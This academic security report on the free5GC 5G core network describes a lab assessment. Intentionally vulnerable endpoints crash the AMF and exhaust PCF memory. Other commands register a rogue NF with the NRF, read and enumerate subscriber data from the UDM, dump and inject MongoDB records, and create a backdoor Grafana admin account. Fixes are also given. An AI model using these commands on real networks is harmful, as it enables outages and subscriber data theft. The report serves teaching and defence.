École Supérieure en Informatique
ESI SBA - Sidi Bel-Abbès

ISI

5G Core Network Security Assessment

Availability Attacks & SBA Vulnerabilities on free5GC

Academic Project Report

Submitted by:	Nessal Zakaria Rachid
	Lakhdari Anis
	Bouchemlla Mohammed
Supervised by:	Mr. Fayssal Bendaoud
Academic Year:	2025/2026

This report presents a comprehensive security analysis of the free5GC open-source 5G Core network implementation, including Denial-of-Service attacks on AMF/PCF, SBA vulnerabilities in NRF/UDM, and security recommendations.

Contents

Abstract

This report documents a security assessment of free5GC v4.2.1, an open-source 5G Core implementation. The analysis focuses on two distinct attack surfaces: (1) Availability attacks against the Access and Mobility Management Function (AMF) and Policy Control Function (PCF) through specially crafted HTTP endpoints, and (2) Service-Based Architecture (SBA) vulnerabilities targeting the Network Repository Function (NRF) and Unified Data Management (UDM).

To enable reproducible demonstrations in a controlled lab environment, intentional code modifications were made to free5GC to expose HTTP endpoints that trigger the vulnerable code paths. The original vulnerabilities exist in NGAP/SCTP handling, but HTTP endpoints were created to simulate the same vulnerable internal states. The assessment reveals critical vulnerabilities including nil pointer dereferences causing AMF crashes, memory exhaustion in PCF, missing authentication on NF registration, and subscriber data exposure.

Keywords: 5G Security, free5GC, AMF DoS, PCF Memory Exhaustion, NRF Attack Surface, SBA Vulnerabilities

1 Introduction

1.1 Context

The fifth generation of mobile networks (5G) introduces a Service-Based Architecture (SBA) where Network Functions (NFs) communicate via HTTP/2 RESTful APIs. While this enables cloud-native deployment, it creates new attack surfaces. free5GC, the leading open-source 5GC implementation from NYCU Taiwan, is widely used for research but contains security vulnerabilities.

This project analyzes availability vulnerabilities (DoS, memory exhaustion) in AMF and PCF, as well as SBA authentication and authorization flaws in NRF and UDM.

1.2 Lab Environment

Table 1: Lab Environment Configuration

Component	**Details**
OS	Linux
Container Runtime	Docker Compose
free5GC Version	v4.2.1
NRF Address	10.100.200.4:8000
UDM Address	10.100.200.11:8000
AMF Address	10.100.200.16:8000
PCF Address	localhost:8000
Attacker Host	10.100.200.1
Database	MongoDB (no authentication)

2 Availability Attacks - AMF & PCF

2.1 Code Modifications for HTTP Endpoint Exposure

The original vulnerabilities exist in the AMF's GMM (GPRS Mobility Management) layer, handling NAS messages over NGAP/SCTP. To enable reproducible demonstrations, HTTP wrapper endpoints were added that create the same vulnerable internal state.

2.1.1 Modified Files

Table 2: Code Modifications Made to free5GC

File Path	Change
`free5gc/NFs/amf/internal/sbi/server.go`	Added route registration for vulnerable HTTP endpoints
`free5gc/NFs/amf/internal/sbi/vulnerable.go`	Added HTTP handlers that create synthetic NAS messages
`free5gc/NFs/amf/internal/gmm/handler.go`	Contains the original vulnerable dereference points
`free5gc/NFs/pcf/internal/sbi/api_oam.go`	Added OAM endpoint with CORS middleware vulnerability
`free5gc/NFs/pcf/internal/sbi/server.go`	Wired the vulnerable route

2.1.2 Why HTTP Instead of NGAP/SCTP

The original vulnerabilities are reachable through NGAP over SCTP and NAS message handling. In this lab, those protocol paths are not convenient to reproduce reliably. The HTTP endpoints simulate the same vulnerable state, making the demo easier to run and inspect.

Important: The HTTP endpoint itself is lightweight, but the handler creates the vulnerable in-memory state that would normally come from the network protocol path.

2.2 CVE-2026-4531: AMF Registration Complete Nil Pointer Dereference

2.2.1 Vulnerability Description

When the AMF processes a Registration Complete message from a UE, it assumes a valid registration context exists. The code dereferences `ue.RegistrationRequest` without checking for nil. A malformed or out-of-sequence message triggers a panic and AMF crash.

2.2.2 Vulnerable Code Location

`free5gc/NFs/amf/internal/gmm/handler.go` line 2274:

```
func HandleRegistrationComplete(ue *AmfUe, ...) {
    // PANIC: ue.RegistrationRequest may be nil
    caps := ue.RegistrationRequest.GetFiveGMMCapability()
}
```

Listing 1: Original Vulnerable Code

2.2.3 Lab HTTP Endpoint

A synthetic handler creates a minimal `nasMessage.RegistrationComplete` object and a `AmfUe` context with no RegistrationRequest, then calls the vulnerable GMM path.

```
func VulnerableRegistrationComplete(c *gin.Context) {
    // Create minimal NAS message
    registrationComplete := nasMessage.NewRegistrationComplete(0)

    // Create empty UE context (no RegistrationRequest)
    ue := &context.AmfUe{}
    ue.SetLogger()

    // Call vulnerable path - will panic
    gmm.HandleRegistrationComplete(amfSelf, ue, nil,
   registrationComplete)
}
```

Listing 2: Synthetic Handler in vulnerable.go

2.2.4 Attack Command

```
curl http://10.100.200.16:8000/vulnerable/registration-complete
```

Listing 3: Single Request AMF Crash

2.2.5 Expected Impact

- AMF process panics immediately
- Container exits with status 2
- No new UEs can register
- Existing UEs eventually drop after T3512 timer
- Emergency calls may fail if re-registration needed

```
# Check container status
docker ps -a | grep amf

# View panic log
docker logs amf | tail -20
# Output: panic: runtime error: invalid memory address or nil pointer
   dereference
```

Listing 4: Verification Commands

2.3 CVE-2026-30653: AMF Authentication Failure Parameter Missing IE

2.3.1 Vulnerability Description

When a UE sends an Authentication Failure message with cause `Cause5GMMSynchFailure` (sequence number re-sync request), the message MUST include an `AuthenticationFailureParameter` IE containing an AUTS value. The AMF code dereferences this IE without checking for nil.

2.3.2 Vulnerable Code Location

`free5gc/NFs/amf/internal/gmm/handler.go` line 2198:

```
func HandleAuthenticationFailure(ue *AmfUe, authFailure *nasMessage.
    AuthenticationFailure) {
    // No nil guard - will panic if IE missing
    auts := authFailure.AuthenticationFailureParameter.
    GetAuthenticationFailureParameter()
}
```

Listing 5: Original Vulnerable Code

2.3.3 Lab HTTP Endpoint

The synthetic handler creates an AuthenticationFailure message, sets cause to `Cause5GMMSynchFailure`, and intentionally omits the `AuthenticationFailureParameter` IE.

```
func VulnerableAuthenticationFailure(c *gin.Context) {
    authFailure := nasMessage.NewAuthenticationFailure(0)

    // Set cause to SynchFailure to reach vulnerable branch
    authFailure.Cause5GMM.SetCause5GMM(nasMessage.Cause5GMMSynchFailure)

    // AuthenticationFailureParameter intentionally left nil

    // Call vulnerable handler
    gmm.HandleAuthenticationFailure(amfSelf, ue, nil, authFailure)
}
```

Listing 6: Synthetic Handler in vulnerable.go

2.3.4 Attack Command

```
curl http://10.100.200.16:8000/vulnerable/auth-failure
```

Listing 7: Single Request AMF Crash

2.3.5 Expected Impact

Same as CVE-2026-4531: AMF panic and exit, network-wide service disruption.

2.4 CVE-2026-41135: PCF CORS Middleware Memory Exhaustion

2.4.1 Vulnerability Description

The PCF HTTP handler for configuration endpoints calls `router.Use(cors.New(...))` inside the request handler itself, not during server initialization. Each request appends a new CORS middleware instance to the Gin router's chain, causing linear memory growth.

2.4.2 Vulnerable Code Location

`free5gc/NFs/pcf/internal/sbi/api_oam.go`:

```go
// VULNERABLE: Called on every request
func HTTPDemoConfigLeak(c *gin.Context) {
    // This registers a NEW middleware each time - memory leak!
    router.Use(cors.New(cors.Config{
        AllowOrigins: []string{"*"},
        AllowMethods: []string{"GET"},
    }))
    c.JSON(200, gin.H{"status": "ok"})
}
```

Listing 8: Vulnerable CORS Registration

2.4.3 Attack Pattern

Each request adds a middleware instance. 500 requests cause significant memory growth.

```bash
# Single request adds one middleware
curl http://localhost:8000/noam-pcf/v1/config

# Loop to cause memory exhaustion
for i in $(seq 1 500); do
    curl -s http://localhost:8000/noam-pcf/v1/config > /dev/null
    sleep 0.1
done
```

Listing 9: Memory Exhaustion Attack

2.4.4 Monitoring Impact

```bash
# Watch memory growth live
docker stats pcf --no-stream

# Check logs for memory stats
docker logs pcf | grep "PCF demo memory stats"
```

Listing 10: Memory Monitoring

2.5 Impact Analysis - AMF Crash Cascading Effects

When AMF crashes, the entire 5G Core's ability to serve new devices is compromised:

Table 3: AMF Failure Impact

Affected Component	**Impact**
UE (all devices)	Cannot register to network - "No Service"
SMF	Cannot create new PDU sessions
PCF	No new policy associations
UDM/UDR	Authentication data never requested
UPF	New GTP tunnels stop
Existing UEs	Drop after T3512 timer (approx 1 hour)
Emergency calls	At risk if re-registration needed

Key Finding

ONE unauthenticated HTTP GET crashes the AMF → entire 5G network stops accepting new devices.

Table 4: AMF vs PCF Attack Comparison

Characteristic	**AMF Crash**	**PCF Crash**	**PCF Slow**
Attack Required	1 HTTP request	Many requests	500+ requests
Authentication Required	No	No	No
New UE Registration	IMPOSSIBLE	Allowed	Delayed
New Data Sessions	IMPOSSIBLE	IMPOSSIBLE	Very slow
Existing Active Sessions	Drop after timer	Survive (cached)	Degraded QoS
Detection Speed	Immediate	Immediate	Slow (hours)

3 Service-Based Architecture (SBA) Vulnerabilities

3.1 NRF - Network Repository Function Attacks

3.1.1 Finding F1: Missing Authentication on NF Registration (CRITICAL)

The NRF accepts NF registration requests without validating OAuth2 Bearer tokens or mTLS client certificates.

```
curl -X PUT \
  "http://10.100.200.4:8000/nnrf-nfm/v1/nf-instances/attacker-001" \
  -H "Content-Type: application/json" \
  -d '{
    "nfInstanceId": "attacker-001",
    "nfType": "AMF",
    "nfStatus": "REGISTERED",
    "ipv4Addresses": ["10.100.200.99"]
  }'
# Response: 201 Created
```

Listing 11: Rogue AMF Registration

3.1.2 Finding F2: NF Profile Enumeration (Information Disclosure)

```
curl -s 'http://10.100.200.4:8000/nnrf-nfm/v1/nf-instances' \
  -H 'Accept: application/json'
```

Listing 12: List All Registered NFs

Exposed data: nfType, ipv4Addresses, nfServices, allowedPlmns, capacity, status

3.1.3 Finding F3: Asymmetric OAuth2 Protection

When OAuth2 is enabled, GET endpoints return 401 but PUT (write) endpoints still accept requests without tokens.

Table 5: OAuth2 Asymmetric Enforcement

Operation	Endpoint	Auth Required?
NF Register (PUT)	/nf-instances/{id}	NO (201 Created)
NF List (GET)	/nf-instances	YES (401 Unauthorized)
NF Discover (GET)	/nf-instances?type=	YES (401 Unauthorized)

3.2 UDM - Subscriber Data Exposure

3.2.1 Finding F4: Subscriber Profile Access Without Authentication

```
curl -s \
  "http://10.100.200.11:8000/nudm-sdm/v2/imsi-208930000000001/am-data?
   plmn-id=%7B%22mcc%22%3A%22208%22%2C%22mnc%22%3A%2293%22%7D" \
  -H "Accept: application/json"
```

Listing 13: Retrieve Subscriber AM Data

Response contains: subscribedueAmbr (QoS uplink/downlink), nssai (slice selections), gpsis

3.2.2 Finding F5: IMSI Enumeration (CWE-639)

The UDM returns 200 for existing subscribers and 404 for non-existent ones, enabling sequential enumeration.

```
for i in $(seq 1 20); do
  SUPI="imsi-20893$(printf "%010d" $i)"
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "http://10.100.200.11:8000/nudm-sdm/v2/$SUPI/am-data?plmn-id=...")
  [ "$STATUS" = "200" ] && echo "FOUND: $SUPI"
done
```

Listing 14: Sequential IMSI Scan

3.2.3 Finding F6: UDM Inherits OAuth Setting from NRF

UDM logs confirm it receives OAuth2 configuration from NRF with no independent enforcement.

```
docker logs udm | grep "OAuth2"
# Output: "OAuth2 setting receive from NRF: false"
```

Listing 15: UDM Log Confirmation

3.3 MongoDB - Direct Database Access

```
# Connect without credentials
mongo --host 172.22.0.20 --port 27017 free5gc

# Dump all subscriber keys
db.subscriptionData.find({}, {supi:1, encPermanentKey:1})

# Inject fake subscriber
db.subscriptionData.insertOne({supi:'imsi-2089300099999', ...})
```

Listing 16: MongoDB No Authentication

3.4 Grafana - Default Credentials

```
# Default credentials: admin:admin
curl -X GET 'http://admin:admin@localhost:3000/api/databases'

# Create persistent backdoor
curl -X POST 'http://admin:admin@localhost:3000/api/admin/users' \
  -d '{"name":"backdoor","login":"hacker","password":"hacked123"}'
```

Listing 17: Grafana Default Admin Access

4 Vulnerability Summary

4.1 All Discovered Vulnerabilities

Vulnerability Summary				
CVE/ID	**NF**	**Description**	**Attack Type**	**Severity**
CVE-2026-4531	AMF	Nil pointer dereference in Registration Complete	Crash DoS	CRITICAL
CVE-2026-30653	AMF	Missing AuthenticationFailureParameter IE check	Crash DoS	CRITICAL
CVE-2026-41135	PCF	CORS middleware per-request registration	Memory Exhaustion	MEDIUM
F1	NRF	Missing authentication on NF registration	Network Compromise	CRITICAL
F2	NRF	NF profile enumeration	Information Disclosure	HIGH
F3	NRF	Asymmetric OAuth2 protection	Auth Bypass	CRITICAL
F4	UDM	Subscriber data no authentication	Data Breach	CRITICAL
F5	UDM	IMSI enumeration (IDOR)	Subscriber Discovery	CRITICAL
F6	UDM	Inherits OAuth from NRF	Auth Bypass	HIGH
F7	MongoDB	No authentication	Total Compromise	CRITICAL
F8	Grafana	Default admin:admin credentials	Access Control	HIGH

4.2 Attack Chain Summary

Phase 1	**NRF Compromise** - Inject fake AMF into NRF registry (no auth required) - PLMN 208/93 confirmed from response
Phase 2	**Topology Mapping** - Query NRF discovery API - Full SBI topology mapped - UDM located at 10.100.200.11:8000
Phase 3	**Subscriber Exfiltration** - Single subscriber query returns full AM profile - IMSI enumeration finds all subscribers - Complete subscriber database compromised
Phase 4	**Availability Attack** - Single HTTP request crashes AMF - Network stops accepting new devices

Figure 1: Complete Attack Chain

5 Security Recommendations

5.1 Critical - Immediate Implementation

1. **Fix Nil Pointer Dereferences in AMF**

```go
func HandleRegistrationComplete(ue *AmfUe, ...) {
    if ue.RegistrationRequest == nil {
        logger.Error("RegistrationRequest is nil")
        return
    }
    caps := ue.RegistrationRequest.GetFiveGMMCapability()
}
```

Listing 18: Required Fix for AMF

2. **Fix PCF CORS Middleware Registration**

```go
// Move to init() function - register once at startup
func init() {
    router.Use(cors.New(cors.Config{
        AllowOrigins: []string{"*"},
    }))
}

// Handler no longer registers middleware
func HTTPDemoConfigLeak(c *gin.Context) {
    c.JSON(200, gin.H{"status": "ok"})
}
```

Listing 19: Required Fix for PCF

3. **Enable Mutual TLS on all SBI interfaces**
4. **Enforce OAuth 2.0 on NF registration writes**
5. **MongoDB Authentication & Network Isolation**

5.2 High Priority

1. **Implement NF identity validation in UDM**
2. **Change Grafana default credentials**
3. **Validate nfInstanceId format (RFC 4122)**
4. **Implement rate limiting on SBI APIs**

5.3 Verification Commands for Fixes

```bash
# Test AMF nil pointer protection
curl http://10.100.200.16:8000/vulnerable/registration-complete
# Expected: HTTP 500 with error, not container crash

# Test PCF middleware fix
for i in {1..500}; do curl -s http://localhost:8000/noam-pcf/v1/config;
    done
```

```
# Expected: No memory growth in docker stats

# Test MongoDB authentication
mongo --host 172.22.0.20 --port 27017 -u admin -p
# Expected: Authentication required

# Test NRF OAuth2 enforcement
curl -X PUT http://10.100.200.4:8000/nnrf-nfm/v1/nf-instances/test \
  -d '{"nfType":"AMF"}'
# Expected: 401 Unauthorized
```

Listing 20: Verification After Fixes

6 Conclusion

This project successfully demonstrated multiple critical vulnerabilities in free5GC v4.2.1:

6.1 Availability Vulnerabilities

- **AMF nil pointer dereference (CVE-2026-4531):** Single unauthenticated request crashes AMF
- **AMF missing IE check (CVE-2026-30653):** Single unauthenticated request crashes AMF
- **PCF memory exhaustion (CVE-2026-41135):** Repeated requests cause linear memory growth

6.2 SBA Vulnerabilities

- **NRF missing registration authentication:** Any host can register rogue NFs
- **UDM subscriber data exposure:** Complete subscriber profiles accessible without auth
- **IMSI enumeration:** Sequential scanning discovers all subscribers
- **MongoDB no authentication:** Complete database compromise

6.3 Key Takeaways

The vulnerabilities demonstrated are well-documented in academic 5G security research. This project's purpose is educational — to make SBI security, NF authentication, and zero-trust principles tangible for security engineers.

6.4 Future Work

- Analyze N3IWF (IKEv2/IPsec attack surface)
- Develop automated fuzzing framework for SBI endpoints
- Test PFCP protocol security between SMF and UPF
- Evaluate 5G-AKA cryptographic implementation

7 References

1. 3GPP TS 23.501: "System architecture for the 5G System (5GS)"
2. 3GPP TS 29.510: "Network Repository Function (NRF) API"
3. 3GPP TS 33.501: "Security architecture and procedures for 5G System"
4. 3GPP TS 29.503: "Unified Data Management (UDM) API"
5. free5GC Project. `https://github.com/free5gc/free5gc`
6. CVE-2026-41135: "PCF CORS Middleware Memory Exhaustion"
7. CVE-2026-4531: "AMF Registration Complete Nil Pointer Dereference"
8. CVE-2026-30653: "AMF Authentication Failure Parameter Missing IE"

This security assessment was conducted in an isolated Docker Compose environment with no connection to production networks.

ESI SBA - ISI
Sidi Bel-Abbès, Algeria
Academic Year 2025/2026